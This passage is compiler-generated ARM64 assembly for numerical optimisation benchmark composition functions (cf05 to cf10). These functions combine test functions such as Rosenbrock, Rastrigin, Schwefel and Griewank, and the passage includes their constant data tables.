add x1, sp, 80
ldr d0, [x1, x0]
mov x0, 149533581377536
movk x0, 0x40c3, lsl 48
fmov d1, x0
fmul d0, d0, d1
adrp x0, .LC42
ldr d1, [x0, #:lo12:.LC42]
fdiv d0, d0, d1
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x1, sp, 80
str d0, [x1, x0]
mov w0, 4
str w0, [sp, 76]
add x1, sp, 80
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl rosenbrock_func
add x2, sp, 80
add x1, sp, 160
add x0, sp, 120
ldr w7, [sp, 72]
mov x6, x2
mov x5, x1
mov x4, x0
ldr x3, [sp, 32]
ldr w2, [sp, 44]
ldr x1, [sp, 48]
ldr x0, [sp, 56]
bl cf_cal
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 200]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L307
bl __stack_chk_fail
.L307:
ldp x29, x30, [sp], 208
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE44:
.size cf05, .-cf05
.section .rodata
.align 3
.LC11:
.word 0
.word 1076101120
.word 0
.word 1077149696
.word 0
.word 1077805056
.word 0
.word 1078198272
.word 0
.word 1078525952
.align 3
.LC12:
.word 0
.word 0
.word 0
.word 1079574528
.word 0
.word 1080623104
.word 0
.word 1081262080
.word 0
.word 1081671680
.text
.align 2
.global cf06
.type cf06, %function
cf06:
.LFB45:
.cfi_startproc
stp x29, x30, [sp, -208]!
.cfi_def_cfa_offset 208
.cfi_offset 29, -208
.cfi_offset 30, -200
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str w2, [sp, 44]
str x3, [sp, 32]
str x4, [sp, 24]
str w5, [sp, 40]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 200]
mov x1, 0
mov w0, 5
str w0, [sp, 72]
adrp x0, .LC13
add x1, x0, :lo12:.LC13
add x0, sp, 120
ldp q0, q1, [x1]
stp q0, q1, [x0]
ldr x1, [x1, 32]
str x1, [x0, 32]
adrp x0, .LC12
add x1, x0, :lo12:.LC12
add x0, sp, 160
ldp q0, q1, [x1]
stp q0, q1, [x0]
ldr x1, [x1, 32]
str x1, [x0, 32]
str wzr, [sp, 76]
add x1, sp, 80
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl escaffer6_func
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x1, sp, 80
ldr d0, [x1, x0]
mov x0, 149533581377536
movk x0, 0x40c3, lsl 48
fmov d1, x0
fmul d0, d0, d1
mov x0, 20684562497536
movk x0, 0x4173, lsl 48
fmov d1, x0
fdiv d0, d0, d1
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x1, sp, 80
str d0, [x1, x0]
mov w0, 1
str w0, [sp, 76]
add x1, sp, 80
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl schwefel_func
mov w0, 2
str w0, [sp, 76]
add x1, sp, 80
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl griewank_func
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x1, sp, 80
ldr d0, [x1, x0]
mov x0, 70368744177664
movk x0, 0x408f, lsl 48
fmov d1, x0
fmul d0, d0, d1
mov x0, 4636737291354636288
fmov d1, x0
fdiv d0, d0, d1
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x1, sp, 80
str d0, [x1, x0]
mov w0, 3
str w0, [sp, 76]
add x1, sp, 80
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl rosenbrock_func
mov w0, 4
str w0, [sp, 76]
add x1, sp, 80
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl rastrigin_func
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x1, sp, 80
ldr d0, [x1, x0]
mov x0, 149533581377536
movk x0, 0x40c3, lsl 48
fmov d1, x0
fmul d0, d0, d1
mov x0, 70368744177664
movk x0, 0x408f, lsl 48
fmov d1, x0
fdiv d0, d0, d1
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x1, sp, 80
str d0, [x1, x0]
add x2, sp, 80
add x1, sp, 160
add x0, sp, 120
ldr w7, [sp, 72]
mov x6, x2
mov x5, x1
mov x4, x0
ldr x3, [sp, 32]
ldr w2, [sp, 44]
ldr x1, [sp, 48]
ldr x0, [sp, 56]
bl cf_cal
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 200]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L309
bl __stack_chk_fail
.L309:
ldp x29, x30, [sp], 208
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE45:
.size cf06, .-cf06
.section .rodata
.align 3
.LC13:
.word 0
.word 1076101120
.word 0
.word 1077149696
.word 0
.word 1077149696
.word 0
.word 1077805056
.word 0
.word 1078198272
.text
.align 2
.global cf07
.type cf07, %function
cf07:
.LFB46:
.cfi_startproc
stp x29, x30, [sp, -224]!
.cfi_def_cfa_offset 224
.cfi_offset 29, -224
.cfi_offset 30, -216
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str w2, [sp, 44]
str x3, [sp, 32]
str x4, [sp, 24]
str w5, [sp, 40]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 216]
mov x1, 0
mov w0, 6
str w0, [sp, 64]
adrp x0, .LC14
add x1, x0, :lo12:.LC14
add x0, sp, 120
ldp q0, q1, [x1]
stp q0, q1, [x0]
ldr q0, [x1, 32]
str q0, [x0, 32]
adrp x0, .LC15
add x1, x0, :lo12:.LC15
add x0, sp, 168
ldp q0, q1, [x1]
stp q0, q1, [x0]
ldr q0, [x1, 32]
str q0, [x0, 32]
str wzr, [sp, 68]
add x1, sp, 72
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl hgbat_func
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x1, sp, 72
ldr d0, [x1, x0]
mov x0, 149533581377536
movk x0, 0x40c3, lsl 48
fmov d1, x0
fmul d0, d0, d1
mov x0, 70368744177664
movk x0, 0x408f, lsl 48
fmov d1, x0
fdiv d0, d0, d1
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x1, sp, 72
str d0, [x1, x0]
mov w0, 1
str w0, [sp, 68]
add x1, sp, 72
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl rastrigin_func
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x1, sp, 72
ldr d0, [x1, x0]
mov x0, 149533581377536
movk x0, 0x40c3, lsl 48
fmov d1, x0
fmul d0, d0, d1
mov x0, 70368744177664
movk x0, 0x408f, lsl 48
fmov d1, x0
fdiv d0, d0, d1
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x1, sp, 72
str d0, [x1, x0]
mov w0, 2
str w0, [sp, 68]
add x1, sp, 72
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl schwefel_func
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x1, sp, 72
ldr d0, [x1, x0]
mov x0, 149533581377536
movk x0, 0x40c3, lsl 48
fmov d1, x0
fmul d0, d0, d1
mov x0, 70368744177664
movk x0, 0x40af, lsl 48
fmov d1, x0
fdiv d0, d0, d1
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x1, sp, 72
str d0, [x1, x0]
mov w0, 3
str w0, [sp, 68]
add x1, sp, 72
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl bent_cigar_func
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x1, sp, 72
ldr d0, [x1, x0]
mov x0, 149533581377536
movk x0, 0x40c3, lsl 48
fmov d1, x0
fmul d0, d0, d1
adrp x0, .LC43
ldr d1, [x0, #:lo12:.LC43]
fdiv d0, d0, d1
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x1, sp, 72
str d0, [x1, x0]
mov w0, 4
str w0, [sp, 68]
add x1, sp, 72
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl ellips_func
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x1, sp, 72
ldr d0, [x1, x0]
mov x0, 149533581377536
movk x0, 0x40c3, lsl 48
fmov d1, x0
fmul d0, d0, d1
adrp x0, .LC42
ldr d1, [x0, #:lo12:.LC42]
fdiv d0, d0, d1
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x1, sp, 72
str d0, [x1, x0]
mov w0, 5
str w0, [sp, 68]
add x1, sp, 72
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl escaffer6_func
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x1, sp, 72
ldr d0, [x1, x0]
mov x0, 149533581377536
movk x0, 0x40c3, lsl 48
fmov d1, x0
fmul d0, d0, d1
mov x0, 20684562497536
movk x0, 0x4173, lsl 48
fmov d1, x0
fdiv d0, d0, d1
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x1, sp, 72
str d0, [x1, x0]
add x2, sp, 72
add x1, sp, 168
add x0, sp, 120
ldr w7, [sp, 64]
mov x6, x2
mov x5, x1
mov x4, x0
ldr x3, [sp, 32]
ldr w2, [sp, 44]
ldr x1, [sp, 48]
ldr x0, [sp, 56]
bl cf_cal
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 216]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L311
bl __stack_chk_fail
.L311:
ldp x29, x30, [sp], 224
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE46:
.size cf07, .-cf07
.section .rodata
.align 3
.LC14:
.word 0
.word 1076101120
.word 0
.word 1077149696
.word 0
.word 1077805056
.word 0
.word 1078198272
.word 0
.word 1078525952
.word 0
.word 1078853632
.align 3
.LC15:
.word 0
.word 0
.word 0
.word 1079574528
.word 0
.word 1080623104
.word 0
.word 1081262080
.word 0
.word 1081671680
.word 0
.word 1082081280
.text
.align 2
.global cf08
.type cf08, %function
cf08:
.LFB47:
.cfi_startproc
stp x29, x30, [sp, -224]!
.cfi_def_cfa_offset 224
.cfi_offset 29, -224
.cfi_offset 30, -216
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str w2, [sp, 44]
str x3, [sp, 32]
str x4, [sp, 24]
str w5, [sp, 40]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 216]
mov x1, 0
mov w0, 6
str w0, [sp, 64]
adrp x0, .LC14
add x1, x0, :lo12:.LC14
add x0, sp, 120
ldp q0, q1, [x1]
stp q0, q1, [x0]
ldr q0, [x1, 32]
str q0, [x0, 32]
adrp x0, .LC15
add x1, x0, :lo12:.LC15
add x0, sp, 168
ldp q0, q1, [x1]
stp q0, q1, [x0]
ldr q0, [x1, 32]
str q0, [x0, 32]
str wzr, [sp, 68]
add x1, sp, 72
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl ackley_func
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x1, sp, 72
ldr d0, [x1, x0]
mov x0, 70368744177664
movk x0, 0x408f, lsl 48
fmov d1, x0
fmul d0, d0, d1
mov x0, 4636737291354636288
fmov d1, x0
fdiv d0, d0, d1
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x1, sp, 72
str d0, [x1, x0]
mov w0, 1
str w0, [sp, 68]
add x1, sp, 72
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl griewank_func
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x1, sp, 72
ldr d0, [x1, x0]
mov x0, 70368744177664
movk x0, 0x408f, lsl 48
fmov d1, x0
fmul d0, d0, d1
mov x0, 4636737291354636288
fmov d1, x0
fdiv d0, d0, d1
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x1, sp, 72
str d0, [x1, x0]
mov w0, 2
str w0, [sp, 68]
add x1, sp, 72
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl discus_func
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x1, sp, 72
ldr d0, [x1, x0]
mov x0, 149533581377536
movk x0, 0x40c3, lsl 48
fmov d1, x0
fmul d0, d0, d1
adrp x0, .LC42
ldr d1, [x0, #:lo12:.LC42]
fdiv d0, d0, d1
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x1, sp, 72
str d0, [x1, x0]
mov w0, 3
str w0, [sp, 68]
add x1, sp, 72
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl rosenbrock_func
mov w0, 4
str w0, [sp, 68]
add x1, sp, 72
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl happycat_func
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x1, sp, 72
ldr d0, [x1, x0]
mov x0, 70368744177664
movk x0, 0x408f, lsl 48
fmov d1, x0
fmul d0, d0, d1
mov x0, 70368744177664
movk x0, 0x408f, lsl 48
fmov d1, x0
fdiv d0, d0, d1
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x1, sp, 72
str d0, [x1, x0]
mov w0, 5
str w0, [sp, 68]
add x1, sp, 72
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x7, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 68]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr w6, [sp, 40]
mov w5, 1
mov x4, x0
mov x3, x2
ldr w2, [sp, 44]
mov x1, x7
ldr x0, [sp, 56]
bl escaffer6_func
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x1, sp, 72
ldr d0, [x1, x0]
mov x0, 149533581377536
movk x0, 0x40c3, lsl 48
fmov d1, x0
fmul d0, d0, d1
mov x0, 20684562497536
movk x0, 0x4173, lsl 48
fmov d1, x0
fdiv d0, d0, d1
ldrsw x0, [sp, 68]
lsl x0, x0, 3
add x1, sp, 72
str d0, [x1, x0]
add x2, sp, 72
add x1, sp, 168
add x0, sp, 120
ldr w7, [sp, 64]
mov x6, x2
mov x5, x1
mov x4, x0
ldr x3, [sp, 32]
ldr w2, [sp, 44]
ldr x1, [sp, 48]
ldr x0, [sp, 56]
bl cf_cal
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 216]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L313
bl __stack_chk_fail
.L313:
ldp x29, x30, [sp], 224
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE47:
.size cf08, .-cf08
.align 2
.global cf09
.type cf09, %function
cf09:
.LFB48:
.cfi_startproc
stp x29, x30, [sp, -160]!
.cfi_def_cfa_offset 160
.cfi_offset 29, -160
.cfi_offset 30, -152
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str w2, [sp, 44]
str x3, [sp, 32]
str x4, [sp, 24]
str x5, [sp, 16]
str w6, [sp, 40]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 152]
mov x1, 0
mov w0, 3
str w0, [sp, 72]
adrp x0, .LC16
add x0, x0, :lo12:.LC16
add x2, sp, 104
mov x3, x0
ldp x0, x1, [x3]
stp x0, x1, [x2]
ldr x0, [x3, 16]
str x0, [x2, 16]
adrp x0, .LC8
add x0, x0, :lo12:.LC8
add x2, sp, 128
mov x3, x0
ldp x0, x1, [x3]
stp x0, x1, [x2]
ldr x0, [x3, 16]
str x0, [x2, 16]
str wzr, [sp, 76]
add x1, sp, 80
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x8, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x3, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 2
ldr x1, [sp, 16]
add x0, x1, x0
ldr w7, [sp, 40]
mov w6, 1
mov x5, x0
mov x4, x3
mov x3, x2
ldr w2, [sp, 44]
mov x1, x8
ldr x0, [sp, 56]
bl hf05
mov w0, 1
str w0, [sp, 76]
add x1, sp, 80
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x8, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x3, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 2
ldr x1, [sp, 16]
add x0, x1, x0
ldr w7, [sp, 40]
mov w6, 1
mov x5, x0
mov x4, x3
mov x3, x2
ldr w2, [sp, 44]
mov x1, x8
ldr x0, [sp, 56]
bl hf06
mov w0, 2
str w0, [sp, 76]
add x1, sp, 80
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x8, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 32]
add x2, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w1, w1, w0
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x3, x1, x0
ldr w1, [sp, 76]
ldr w0, [sp, 44]
mul w0, w1, w0
sxtw x0, w0
lsl x0, x0, 2
ldr x1, [sp, 16]
add x0, x1, x0
ldr w7, [sp, 40]
mov w6, 1
mov x5, x0
mov x4, x3
mov x3, x2
ldr w2, [sp, 44]
mov x1, x8
ldr x0, [sp, 56]
bl hf07
add x2, sp, 80
add x1, sp, 128
add x0, sp, 104
ldr w7, [sp, 72]
mov x6, x2
mov x5, x1
mov x4, x0
ldr x3, [sp, 32]
ldr w2, [sp, 44]
ldr x1, [sp, 48]
ldr x0, [sp, 56]
bl cf_cal
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 152]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L315
bl __stack_chk_fail
.L315:
ldp x29, x30, [sp], 160
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE48:
.size cf09, .-cf09
.section .rodata
.align 3
.LC16:
.word 0
.word 1076101120
.word 0
.word 1077805056
.word 0
.word 1078525952
.text
.align 2
.global cf10
.type cf10, %function
cf10:
.LFB49:
.cfi_startproc
stp x29, x30, [sp, -160]!
.cfi_def_cfa_offset 160
.cfi_offset 29, -160
.cfi_offset 30, -152
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str w2, [sp, 44]
str x3, [sp, 32]
str x4, [sp, 24]
str x5, [sp, 16]
str w6, [sp, 40]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 152]
mov x1, 0
mov w0, 3
str w0, [sp, 72]
adrp x0, .LC16
add x0, x0, :lo12:.LC16
add x2, sp, 104
mov x3, x0
ldp x0, x1, [x3]
stp x0, x1, [x2]
ldr x0, [x3, 16]
str x0, [x2, 16]
adrp x0, .LC8
add x0, x0, :lo12:.LC8
add x2, sp, 128
mov x3, x0
ldp x0, x1, [x3]
stp x0, x1, [x2]
ldr x0, [x3, 16]
str x0, [x2, 16]
